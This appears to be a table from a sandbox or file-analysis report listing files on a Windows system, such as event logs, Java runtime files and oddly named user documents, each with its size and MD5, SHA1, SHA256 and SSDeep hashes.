C:\Logs\Microsoft-Windows-Known Folders API Service.evtx	69.38 KB	MD5: 79ea495c2f0de6c9c3a4b2dd4b726441 SHA1: d1784f17e7d605679a8b9d9ee77d4fadec3228a5 SHA256: a7baebd438cfbdd4ba2f6fb0c380b6ebd2a0f356479e7eacd8d81c4690ea70dc SSDeep: 768:tugcfqNBbnXcQ38PyX5f4TI2aEpugcf+O:tRcfqNBbXcQMP2kIGRcf+O	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-SMBServer%4Audit.evtx	69.38 KB	MD5: 95d4edf0b031345d06a35c4c53cd7469 SHA1: e5bf83a6b529d9c4446b380bfc0a7082c892137f SHA256: e64381462ed5470f691995c8dc0668af5bc1215ddc3a663f0f4e7648fb880a6f SSDeep: 768:NzJkHoB0F/0Sux79KEv3Nwk0RYSzJkHoB0FeO:Nzr9n9VfSzrfO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx	1.01 MB	MD5: 05c71ac2f28bbd4975b0f82b1accc30d SHA1: 0108f0a0ece6599de2551e5d5a607f6a2fdf9f22 SHA256: 4cca073d93a5898796715330789765de72e0fa02243c9d8ab39a61aa3ba61b3c SSDeep: 3072:RddcCwss5jipbJLsnlRlgJlXhpSlSpBLaB2qdd:RICjSGpFgmkd	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-LiveId%4Operational.evtx	69.38 KB	MD5: 103e6e8a03d58679fa02fcab70c8907b SHA1: 4916829a30ad2151bc5581dd7eab890e1ecd1281 SHA256: a8d8cd7407b5caacb1a401d5a9a047ea36036a8e8d4bedc50645f633ee57f7bb SSDeep: 384:WDHfN6RjvnZ1eGpj6fiaImrBVT7aFbWcahnMZa5Ka5ba5Da59a5ua5gJa56a5kaI:M/8v7eGpGqaB1VTmbW5QRk/8rO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-TWinUI%4Operational.evtx	69.38 KB	MD5: 079087a6123d4730961827763865b2aa SHA1: e4a3556c726abb49c2b12c6e78dee1824253b9b2 SHA256: 15853668e1c114d4b865e4b801b3f9058fdfce012216f7bb7836d049fbe4d020 SSDeep: 384:3FFAnmxwH7Y373n22cKavgi2kK5KiQ1WcAi9W7NfOEqFFAnmxwH7XCfHu:3F++wb67m2cJ4iRBiQcH2yyF++wbcO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\orbd.exe	17.45 KB	MD5: 7a26a2992f5d1499d4e4bce5b54a0f5d SHA1: 61aa7955fe1e68b839e0889845f6e94bedaf9bca SHA256: e5f30e4a9ff65d52f3f2c9f24c793cbb84f7b07161ff167149e0bf59b3064ce2 SSDeep: 384:yV7ygRGOuhsfU7cDKKNUheeKinYP3N+FUykWqNQ547CfHu:yxuVr0n6IeRY8Uyxq2pO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\java-rmi.exe	16.95 KB	MD5: a13625759ce689175ef3597ec1efd6b5 SHA1: 74cf47bacd77d2e7fb1d990fc30afd749eaac2de SHA256: a18450e0f94cb7cc89c4da065a622a020a2759b033624d6ad5e1e9d265e957c1 SSDeep: 384:WCyns0wIKNJ1zeeEenYPXR/77b/gpjy/fqCfHu:Wps0s31yeL2R/7nt/tO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\klist.exe	17.45 KB	MD5: 058ad54998898321bbf4aa910f153d14 SHA1: 1966ada8ce492d8645e81d7b7e23c3ffa8f1b7eb SHA256: e1e29053935b28fa85e341b5ab17a3c3256c0177d7ebdb5c2363195d1148f770 SSDeep: 384:j79Mge9m2Y9KNV1eeVVnYP6GMBdg7Vsy1XnCfHu:jmpXEeHddCVT1cO	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\tmPhlv28.xls	11.90 KB	MD5: 786d171f5be136bded3ca2d93bb0b125 SHA1: 156dc2cb5394c7b93b83dc5df44cd6387f693519 SHA256: e29625b94a67de371479d92b855715c0223a3dcc26001af22def1ab99b0d8ee9 SSDeep: 192:VoIFEZx5+PZSJmgB22vLibCY1TiNIV1I8ZRDEYn7khIwrpyvKg9jL2fHu:2IFIIPomw1vLSCY59RDEYnYhIKovRjC2	... File Actions Show Properties Download
C:\588bce7c90097ed212\netfx_Core_x86.msi	1.11 MB	MD5: 641598c676acec513aa9449c3f2901d8 SHA1: d2bc6145944f007b0c82cf9e4b1f68042dc6f962 SHA256: 9616402468310b24ce8c7ddc87b92d0c4907d8513fda41157ae6cdf1485cb375 SSDeep: 24576:BUE16szx1u6dsNbQXcUwabPx9bswH/fd6px:DhzxI6d+QXcWDsK1	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx	69.38 KB	MD5: c8d559beb4f74b9d7fbb7ff18f4b0493 SHA1: 3773a54638035da621e1f376136267ec299a53a8 SHA256: 2285db43ccbed65b23e8d6e2819af14e9df69866c901b46a11841298c1aef1e7 SSDeep: 384:9LXELlOfa8i44xOWD14aLQwC1Jm3j8uL8Hs1QLq3XELlOfa8i4kCfHu:Nc0faU4x/4a0wLz8uL8HeQQc0faUfO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx	69.38 KB	MD5: 2f12bb30a9ed6b23481b446366d470f3 SHA1: 8054285a070f408cfda57780852d3ec4859a5bb2 SHA256: 75485160e825be706e834e534dc443052822421c14d63ca199dd1c1787c279f8 SSDeep: 384:lWGpm7ng5l+fHFATx4IPoAb2NGtKDzpVbeN29MWGpm7ng5l+8CfHu:IG6ngO/gx4IQ6xKvpheNAG6ngO3O	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\unpack200.exe	193.95 KB	MD5: 280f6dae09813103ca689af30a9a1e25 SHA1: 25da8882cb9d8506a85155b54fb95ef32154f74e SHA256: df738b4557ad06aea66a9bfeba70819776759387be3d05f3557d5b100a7d73d4 SSDeep: 6144:4gfsZLEP63cZHP4oKy1TBcfy/NTwphml:4OsZLES318T+fy/NTwpol	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\javafx.properties	1.44 KB	MD5: 127e9bb840aeb77edc8e64852aa4d461 SHA1: ff4f9607951143953303aa06dbeed45cb48773ee SHA256: 9ce895ef058bf3929f23bafe1f570954b9129934b176c47453f10190eaa26367 SSDeep: 24:Ee6BmcjNm1Zau30Xx7lIyHUuBmBVi+giEitjAr/LrIX135kXPlQR5pHji:qBm6NmLaPcuB4i+gNiZvuUbHe	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\management\jmxremote.access	5.29 KB	MD5: c81217bf8ab97284435e2c734f07fdf7 SHA1: 69bc989deb005c432cc727f9c64204eeb7b80d2d SHA256: 33a7dc54534d0da44ade71efde7bb5dbde21e3f31508412c9caa58a8f124d258 SSDeep: 96:hDN3TfvgXc3HlS2O2yLZSfxi8JSmjAPj+mL/ufRNumUal:h9AglS2L6c3UP/L2fHu	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-SettingSync%4Debug.evtx	1.01 MB	MD5: b9350baae18cb8cedbb7fedc18f09173 SHA1: a79edbb603d4ae702d5f790ff0439e158ca38331 SHA256: e1ca5efe96cc4130e98327c32e989e36caf659eb57e1dc4f0a987971ee2baa8d SSDeep: 1536:RpVvVqXAcRJGdjGJh14L+FSTyJsQNpgO:trdahi6FPJsZ	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\ENUtxt.pdf	8.79 KB	MD5: e7a7c65cad881d96fa23e079201a3123 SHA1: cbc6920f15e131d4a0d8ac1616c700bce4f7517a SHA256: 01d171c59e80ccfe77970b5bb8ca5c3e7eb6d62fd58a14da64a7b6308dba2316 SSDeep: 192:4V+wtr+2m0eb67N9GRWzuFlVXMUBkUXgJ8PCLV6L2fHua:4UwtKhAcWaFnMshg8kV6CfHu	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-SMBServer%4Operational.evtx	69.38 KB	MD5: 73a99f20fb1890e7801e1596a586b9a6 SHA1: 457ef561e9d69431eee2d56aa65ab8f6c3fae16b SHA256: 56de63f008044a4efcec7c86f5dca08b36d240654d4782367207c7d26fa19880 SSDeep: 384:4JrkCjmoegp09Ynric4M4/SSdDJnQrQjResd9wVWluSrkCjmoegp09vCfHu:4JwRg+9YnZ45JlQUjdwVSuSwRg+9UO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\ssvagent.exe	69.95 KB	MD5: 4810bd84d1619e080e2f390f3837b7c0 SHA1: 37f018cbb849cc1a1ee55ab1dfeda8190f7d2579 SHA256: 5bd24431e918c464df40b2743f13fa6fc57ae57e01f6687fa42fe38c4f71c02c SSDeep: 1536:V2TYKK0tsyaq7jaNSK7gHGNnzOw82tICJlYO:ATDFJKNSKEmdzOwVtRlY	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_ko.properties	6.96 KB	MD5: b7da068de0463c75ee6d946f16e818c2 SHA1: 1d1adf58d069d69bf128c81c078cd7bb719dbd70 SHA256: 44d441a5c9b10380a74c3dc92b705e28427a405ab1af2aa4c88595129d1f1044 SSDeep: 192:Imr9xdujhSnQr5FvlOwwEVDbm4n1L2fHu:ImrnYYiTvlHTWy1CfHu	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\java.exe	203.45 KB	MD5: 4410e74db67a27b9db741a15c53a0a91 SHA1: 44579e7284dd07cbe01f6585e74f113c78327e5e SHA256: 7d7b0bde34dd5bb5e3701d818a1e2c4a46a91f74926b95ff56b4d9399911314b SSDeep: 6144:JKcHqiCHvOdT7duCKbi6ozowTBkRYvKI:Ex2OwT+RYvKI	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\cmm\GRAY.pf	2.00 KB	MD5: 4c8dab5e7c24e027eb5453f5139a295a SHA1: 805b9cced1ff2c80b4351e61a9b88c1e503cb261 SHA256: e16be5e97543f7d262dd993bd577b146c62b5bc9648857653580fa08a961d129 SSDeep: 48:PZYzsEirh2T53WZyXNmLaPcuB4i+gNiZvuUbHe:uzsEYS9mL/ufRNumUa	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-SMBServer%4Security.evtx	69.38 KB	MD5: 1953c634df1891d621a01d74dcf7f4bb SHA1: bc477deca29a49c2164a23bdc87d3a62c3b6de36 SHA256: 124cf8ad4a92b2d4b10aa4d8bb92b7ea60f25943e3c4b842525e68f539ffa770 SSDeep: 384:GdMGI6R80xbwbRieorzVXfJyrnH/7ersR5cMlPF+LZaJJMGI6RyCfHu:Gq6R8mb5rzGbfCrQQeu6RNO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_it.properties	4.53 KB	MD5: 23d7d5abfa0df94658a669476f941728 SHA1: 9171d0d09a07a8d1e139e711f1ffa14b22a1820a SHA256: 3924b62aee4f3f8a41d2dbdf98ed6de3c7adb7122bc82e0d1b62e5b9a80ba884 SSDeep: 96:mVYDyOQm4mRHzsg0WbqWJlN08OCmL/ufRNumUag:mVYDyCYaHlN0RL2fHuX	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\ktab.exe	17.45 KB	MD5: 342a060e8e687b9108871ea98536c8d3 SHA1: 2e3ad3ba6fb90461eb3ebbc57fdf8612a37815ff SHA256: c2426a61f8e86a3ab32fe6ab8440543d499b5def5ceb9d00a3cb76c4a7ded571 SSDeep: 384:hCNsfExZuFuf7KNp1ee2FnYPblWRP1vK74CfHu:hCNduFLTEeWrPxsO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash_11-lic.gif	9.00 KB	MD5: e497f7d4fc0b3ed83ca64b70cf853054 SHA1: 62530ae48cce3316ec73293f106ea19c0a754c63 SHA256: 114544f80d23d058efb966d4a44fcdeedfbe18b35c09cc63056e988d4786fa65 SSDeep: 192:BAstld7zB/td5sAdiVaVIcDiCXiibYnh9IB6Onr0fw6ajL2fHun:BAs97ztxUVaKE3bYhTA8w6+CfHun	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\jfr.jar	548.83 KB	MD5: 7761fd10ff5b92f8c4268b3326e884a6 SHA1: dbc9c62cbeab1c93c52156914c1a3048d17df927 SHA256: 72a719f299b7bdb10b394ad4aef6d16bf69a5a4a52821cce13cdc9f8e6b45186 SSDeep: 12288:r8bww5l+qU67FYWg+YWgYWeoXqgYSq8eh2f/m5NwaHkSIJHvWQ6Q7ooMcgH5lY7Z:Abww5l+qU67FYWg+YWgYWeoXqgYSq8ef	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\ext\sunmscapi.jar	33.32 KB	MD5: afdb055574ee1fc171a0d7bdf909370a SHA1: 2b2df4fd0073587b9e5872b6f49f8fecce28e254 SHA256: e655c67a75ea8b7829eddca1e0cff909a49dca539df452e697b335f0690085f8 SSDeep: 768:exc0jNVmOTuDQJD/RpAczsikFfg0y+7aBTS73dyPoXvvKv2PtvHuGJkzaO:exc0jNVmOCADZpVsiUf3yua5S7tXXvv0	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\ext\cldrdata.jar	3.68 MB	MD5: e97839214251e72c92aa31024a17f238 SHA1: 593bc2960a86f19e90f270d29146ccd6bdbb3f13 SHA256: f5d0c0c06fb37191df87a87f4b2d1f767d79e86dea12162514b6e6f3f56733ff SSDeep: 98304:Ab/PnY3pAHqZdJgR5Vw78nmF5N8VdE+A44VGZXYJ0+l8:o/PYAkd0278mifXz1Ye+C	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\redact_poster2x.jpg	69.85 KB	MD5: 04338001f103f909810546722ee46850 SHA1: 95e8f1e5b26670a5503badad7271f8ff52d47245 SHA256: 15dd8c8ad5362c790b6a85c8450917196a86e235b048accccb7d2c02c2e99bf9 SSDeep: 1536:i4z309sygpQcU7HhE8rpwfoCIIIDIII2cQsi9V4+M9vzqatpLTO:r3vScUT1NCoCIIIDIIIENnAvz9LT	... File Actions Show Properties Download
C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu	2.09 MB	MD5: 921da9f1439834f92f2abb8a7960035f SHA1: dae1c3d961a4d60a58afe6ad7fad43838cc07f73 SHA256: 239fb590170b45a7907c4cf95159a4429bc0aece18981e72c1d772cefd737d0f SSDeep: 49152:R/S7W7T6YV4YaG7T2DumT1r7AdXZy9KU2KUYxs35DKZ3OIKxWh0e0:NS7gV4YakTo1PAdXZzKUYxs3pKZnKxfe	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\tnameserv.exe	17.45 KB	MD5: f3b58fea09b5034111be587f6123503e SHA1: 3c51786637c62762bfab042741eb53478b01c26b SHA256: 2b7777d66cff351e51233b107df9bcf98442418db8cc2763ad4608c42f102476 SSDeep: 384:z1idjI5leKNqnzeefonYPH+TYmn9U8UcCfHu:zDlLIyeACMYmnnUXO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-UserPnp%4DeviceInstall.evtx	69.38 KB	MD5: 472239e4bcdd1cd3604b4aed127d19e6 SHA1: dd75d910567a3e1d31ae99801808d9aaab1a5fec SHA256: 1169dd852fd3b47c401e77e70954fdbc744a961171afd8e5c4a4a7d8394eda0b SSDeep: 768:IqXwLC3RHsnDIBlb3NUyj1hcMeDoFPNVy0XwLC3RHsRO:bXnBHsDylbTNe8Ri0XnBHsRO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-UserPnp%4ActionCenter.evtx	69.38 KB	MD5: c7b33cae799a73d947d562b12ef9d9cb SHA1: b4b161899e6ed79895f505557fa906bb38da35c5 SHA256: c7c03090c359cd694f36b7550f263436c12f970bf40f1c2dea617505831b81aa SSDeep: 384:XMlKN9qtO+Jz4/mEjkPHMRwnj/UpSVGa5CuxMdMvkJ4esFMlKN9qtO+JJCfHu:EKN9zsemvsRwf5X2kc4e5KN9zsGO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\deploy.jar	4.81 MB	MD5: 71b6790fa36383f2668415a349c6484d SHA1: 58f7e7998d78f76a2b31a26149dc7d604d617233 SHA256: bcd1382d61377699bdf9087ef77897e945098ba0657b6536a492391e38f7002d SSDeep: 49152:098l7PV40nw37H88ieZmpGkaBI3+s2cuC25xi9pipDsVQ54:00WS2P3iDipwA4	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\cmm\LINEAR_RGB.pf	2.40 KB	MD5: 397ee722c8bec771396c6658cd436b71 SHA1: 0d046733659ae88daa1b7f850ebac46ff15ac566 SHA256: ab22d8ebb608b5ed6223f34025a3e59f42b4f3f601854abdb964ca5b8f4f7931 SSDeep: 48:zUvtmBpa6KZY8dhASix9p+0DSnuB5SaNmLaPcuB4i+gNiZvuUbHe:zUFipabY8cPpdzbmL/ufRNumUa	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppLocker%4EXE and DLL.evtx	69.38 KB	MD5: a899daef939d23e0507b44571ba9f649 SHA1: eea69af73f718a5e1ddf029c7bc51d68657bbfcc SHA256: 8d096a02fe6bd248091ff756d02e303d1e9bef72a401b1daddc8dc65dcae019d SSDeep: 768:0yp11ZMifpVvF5DEk6uhOTi2gyp11ZDO:0y/1ZMiR5rdZhOTky/1ZDO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_ja.properties	7.58 KB	MD5: 9579bef1907c39f765b353dbc94d13aa SHA1: fc4f6fd8056dca201c8ca10c4d07f1dcbb82ca67 SHA256: f46299784eb04c3eab4b90d226def2c24e0af2ac4595c67c5f083e0afc78470a SSDeep: 192:oC+QAOGz5N1GkW28O+4I5rwIEs9XUFL2fHu:l+POo5N428O+N5rwI59gCfHu	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\optimize_poster2x.jpg	66.71 KB	MD5: a7dda6f1736941841d91a86834b4dae2 SHA1: 1741c0e572c2cf10e491a50a4fe473cafa1c1ea0 SHA256: a207f8db67af90d0413759ff9f44bb00fb79ac6521a937879135d64d2e625fe5 SSDeep: 1536:0Iy4OczbB5l/jstnJ577CvNtj5RSLGCJzlynUQ/DMcO:0fGBLgV78BRSLxG/N	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\4nSkn.jpg	61.30 KB	MD5: 7d88d103feb4aebff1f8e0f537bb88c0 SHA1: fb826e085dfefbb16addde59ba7eee427f50174a SHA256: cc9e7b96900c655e83d97f4cd307e2dc02bfbe28341f11fdd3949fec72382bae SSDeep: 1536:6MNJJ7dS6sb3AoEBoz/j42QhgN2VlY+7zQQNgMmGE28NJukwiCkvO:NJJ5SzNzb4JhgNCZZy/Lwir	... File Actions Show Properties Download
C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\h5VAwW1b0gH3jYX9oE4.jpg	87.26 KB	MD5: 43a4f40f8f5d84389b88a933d98c04e6 SHA1: 39310ff30eca3267db69419d5ca388d959dbbe75 SHA256: 748d41b9213adbe1ef85161bd89820567210631016a2e6649a70b233d7ec3cfd SSDeep: 1536:5rOHTdObiXEywA4ft4SDIXc3FU/BLXa/tHyF9syIhVnOzrdSaokLO:5rVb2aA4ocupjalHIFI/nOzrsax	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\ext\sunjce_provider.jar	274.98 KB	MD5: 48a7fe7a875330324d4aef481cee3235 SHA1: d7a206d820e9b37e616b66f048739572e6690c73 SHA256: 442d1f5f887ad75cae750047da35e0fe4ddcfb3ddb407a912bbf393085daf1d9 SSDeep: 3072:juEQjsSpfxDOQras5Ynoc9YZi1uXJzlt9jnEpeAa8bQkr16/mfGrcux2mjBETpWi:jysSpRQoFBl3bue98skp0mfwc8dET1	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash_11@2x-lic.gif	13.35 KB	MD5: 3a54dd7be8de57a40e489164ad599d1f SHA1: 049b1d62c34f6d669186439777fbe3e1b3754439 SHA256: 6ced3706898dda451fce5f2833933d0cd680d245373bc78f02731640b579db06 SSDeep: 384:OlNAYUg4VGbkpTaYe1dc3KR3qHuTNAnUCfHu:OlhX4VGbkpTwdc43KbvO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppxPackaging%4Operational.evtx	69.38 KB	MD5: 439058239d1d6b6042f9189c0527476c SHA1: 62825d946a8a1118b4d2e2d91ccd60a002f1d47f SHA256: 46c04df0138628587a19c54b60e2c189ba2bc1d7d51fa7b05a1e3aac04671aea SSDeep: 768:3T/sf0bLEM65sH28SA54jXlxy/f7rXbb/bn/sf0bLEMpO:DkM65J8SA54jVxy/f7rXbb/b/kMpO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\ext\nashorn.jar	1.93 MB	MD5: b154075da4c9fdf5beaaec55923ef678 SHA1: 2c0baf67c55c0b4e14914aea2fbcdd1677fba0af SHA256: b3043a92e0c0b54a6c0cecbff1071c8cb6b7248dd8dbee796ec6a2bc2b4b62e4 SSDeep: 49152:IlpzKdUhuh8QVk0ixy+1UCWHhrdCxq4vRGkzcYjof+:IlpzKdU8VVcj1UCWHBQxhRRcY3	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx	1.01 MB	MD5: 28d59e9fa64703632769e0e0eea5bd3b SHA1: 05614175abeee135dcab81581bea8f4429db1571 SHA256: ba66ea27e15742df472b97c1688e146635bea11923b0f719a22de6d445f997a1 SSDeep: 1536:ERr7TrD5bu3J0T0sG2IKuUdfBIemk9z5F0NFBO/hWrQrIRH9cscDO:q3rdu3JoZGmAemkR30ZxruIhcD	... File Actions Show Properties Download
C:\Logs\Security.evtx	1.07 MB	MD5: c33161a359cbe6811e4e60d89f9aef1e SHA1: 3c9142cb51817380426e2c01a59c3210eb0bde4a SHA256: e69d892192684888086536209fd5dd68f1623a430ed45598a6a3ba60f60a9bbe SSDeep: 3072:/9lYaSy78mQVPXNHcO6bfQalqvj+fAnsxfZ1mpc3Q5E9K:1lY9yY15Es2K	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\resources.jar	3.33 MB	MD5: c1b2dd4fa179d2c73743d541ad1e4f6b SHA1: 626129db34aba3fedfa838c6264853447999decf SHA256: cea93c4a6ffa654f79620efb05762ccb13633b2a1358c740e7fb75a14f4dd229 SSDeep: 49152:fdhNdVapkZb7ZU/+7CwBkI1JxrIWgE4ZSjwYwaLnQHqpsUvCXxma4zOIt56WTjiJ:fjN3	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\javaw.exe	203.45 KB	MD5: 3dd9a4d4f8129047020e0e8c1ded7f6a SHA1: 36ba4a445f7afe63e9da44967c0c635dc03912f6 SHA256: 093624fcd11e0da3c87d4b65b5df592f81ede732e8e34277725441a0b73501fb SSDeep: 6144:uZ4poLdyU6I8tRluTLdmGIebIsciijTBdz5v1mc:CkU6IYwEjTDz5v1mc	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightRegular.ttf	338.21 KB	MD5: 734b13afcc35214f6c9b180eddb17e2f SHA1: be0d35a7e68e9be58eabd392681b50883ffb3b63 SHA256: a063289c68454c03432fb64239d02c4c602e18908f9900fa8f70cdb3d3334d2c SSDeep: 6144:moWvkJGUG2CCTufrmOufymM8hvFHp277tS9iZFYSATxNv:mXvU/vCCTcaFNJw7tSgYS8/	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\sound.properties	2.56 KB	MD5: b1eadfe08f8428a25b26acd983b07605 SHA1: b9c5e3098fef560ac01cb65ea4fdf59b35a20bf9 SHA256: 1576f3d553cab67c0c24f9e5d5942d723feaed78cdadb6fcdde61fafabe9dafb SSDeep: 48:cQqP5kfvFDPxg1F/mYq0hANmLaPcuB4i+gNiZvuUbHenA:au1DZe1mYamL/ufRNumUa	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\ext\sunec.jar	42.58 KB	MD5: 54f3cb1ff360343ef5ddba9a5fd2d252 SHA1: 5c9201527b562f9968b7634aab5fba73fda03278 SHA256: fdcb7aea3c6ad78a5774a5580be1ef0329daaebd32454ce622b30b3d5fac8a01 SSDeep: 768:3a6IoiOdyXkImJWvDMRXDg6RDan3fgNbjIV2uZW14SlKrw6pMuGFCsouG0Ri28ER:3aYDC4JW2XBRDavgNbruqNWw6pMuGFC8	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_LinkDrop32x32.gif	1.55 KB	MD5: b52fd7221e3c193c9f41378f899f8959 SHA1: 9d7a0e68bc8a58afbc862dda63cca9203ab7eba9 SHA256: e74e935798a78665f0a5d5b6cfd4e91516e4a2945b83f17dd98b66e63a4c4348 SSDeep: 24:kAwnx03jNm1Zau30Xx7lIyHUuBmBVi+giEitjAr/LrIX135kXPlQR5pHji:kAwxuNmLaPcuB4i+gNiZvuUbHe	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\jfxswt.jar	34.52 KB	MD5: 8d2c3c1d21f1cb55e5802c13b2e762ff SHA1: bd18a67e68874a75618c9fc20a3b49d9c185d625 SHA256: d0c968b818cc7dbd8d5a4b27be383beae012f47b49d1e38f01d843e072aad75e SSDeep: 768:8k0CoIptPMWY4117RF03FN9kqizWGGojLxyCVSHMeO:V0Co6UWYC1MVNIzBrjLxbreO	... File Actions Show Properties Download
C:\Program Files\Mozilla Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}.xpi	9.01 KB	MD5: 52f458f6277064fafa492df50b062f3e SHA1: 89c2cbaf433e1bbe963be6aa7553b498af58f71a SHA256: b82aa5c231765a9593e2f92f13984e7d3d53dd0832672ae159a9e8fc765ce927 SSDeep: 192:uLy7jVsYRy1qefFlSMc2YsiR48PgFtCiMfXIL2fHu:uLy3jRy1rfPSoYsiR48CQiMfXICfHu	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\javacpl.exe	79.95 KB	MD5: 40cb371b2fd72763f69d5b85cf6c69db SHA1: 2832c6e996c1e691032ea22b1bd1a11b89d39552 SHA256: 36131a160dca5fa04ed8dcf7c40586351fd3bbd7edbe817930ea4615601afa00 SSDeep: 1536:BxpI9Ljzjc6ccxz1uyewzL9vOpIVK7qjh3rmKPNtwZnO:BxS9LjzjpckuyL9vOp0tjZqMNtwZn	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\policytool.exe	17.45 KB	MD5: 64f3af787828be628dfb7088e05759f8 SHA1: 213c643c3a37e50f9d834d1cdd11b0bdb705a9ad SHA256: 1727c46ebbf8a53046c09d7f7f70a6a7d3031d7c71bca73bb446519cac01cbc7 SSDeep: 384:WCc+/7r6jBDzEGWicTiIrKN45eegXnYPKMN1AmQM5bCfHu:iGf6jBDQiceCgeeXUZQMOO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightDemiItalic.ttf	74.75 KB	MD5: 2420e9151486cb668e6066d350a99cff SHA1: 10505a6e27fc2bb7e58bf3610a740a71bf725574 SHA256: c889399d11aa4f56d1d6ec99d6e4137a4fb1345f3ee74d809cf9d15240d71118 SSDeep: 1536:pu+b1bPtdZhjqHi/sbA06PoNORsr5sOnD0OyuusGa7oJAmO:PpPjZ1qHA9cOR05FD0Oyup7Mn	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\net.properties	5.74 KB	MD5: c80daf854764e2eee593cc6a1fee214d SHA1: 30eb624fbdfe135a127364d5243a0075b83ffc94 SHA256: 04d912ba7b31e0e1153afeec85c1f0d9cebfe6e29e06080b2d6a1753e04ae508 SSDeep: 96:ratjXyQjEybXDyGNdG5ONJYL2QAaGM+6wNvT6QQ7p94SrFm2qdvJ4GmL/ufRNumP:rOjiQjEybz76b21w+P76QMplrFmfBCL9	... File Actions Show Properties Download
C:\Program Files\Microsoft Office 15\ClientX64\OfficeClickToRun.exe	1.04 MB	MD5: c9dace11aaabfeef205959a36ec91c75 SHA1: c0b9201787b492d3c52b4cc079c957e1eeced454 SHA256: eb82954eaa2c6004e113fde25a5e99d0ab4d70733b587588f2436471d462588e SSDeep: 12288:+iRQ78l/q62klTf4quXJlG3+gAvDh5EUeDSR4/RY+u:VO4lCqlTyBDh5EU8S	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\security\java.security	37.05 KB	MD5: 925bbe4a687d05762478c89c74579997 SHA1: f62ff04297b3fb3b2bb9bac8e744ca09c4139ff4 SHA256: 256c1bc12c6c02d523993d33c12956cef2717b9d23496d3ba16473073ebe74c2 SSDeep: 768:RNcJg/DpO13LI10uNUApPwv7vcWTABp+Z5IcCU5fO:vcJg/JR7YvTcWTABpm2aO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_CopyDrop32x32.gif	1.54 KB	MD5: 9d3b0bbe56776cffd358ed03a0847f9f SHA1: 62aae7dee3eab7731cb139f857c2a6a4ae212530 SHA256: d52d7b246991a8435665fa929f74d5da9c26ce95e66ec00ea5919de41b7ca2be SSDeep: 24:m4tNG0+jNm1Zau30Xx7lIyHUuBmBVi+giEitjAr/LrIX135kXPlQR5pHji:m4W0gNmLaPcuB4i+gNiZvuUbHe	... File Actions Show Properties Download
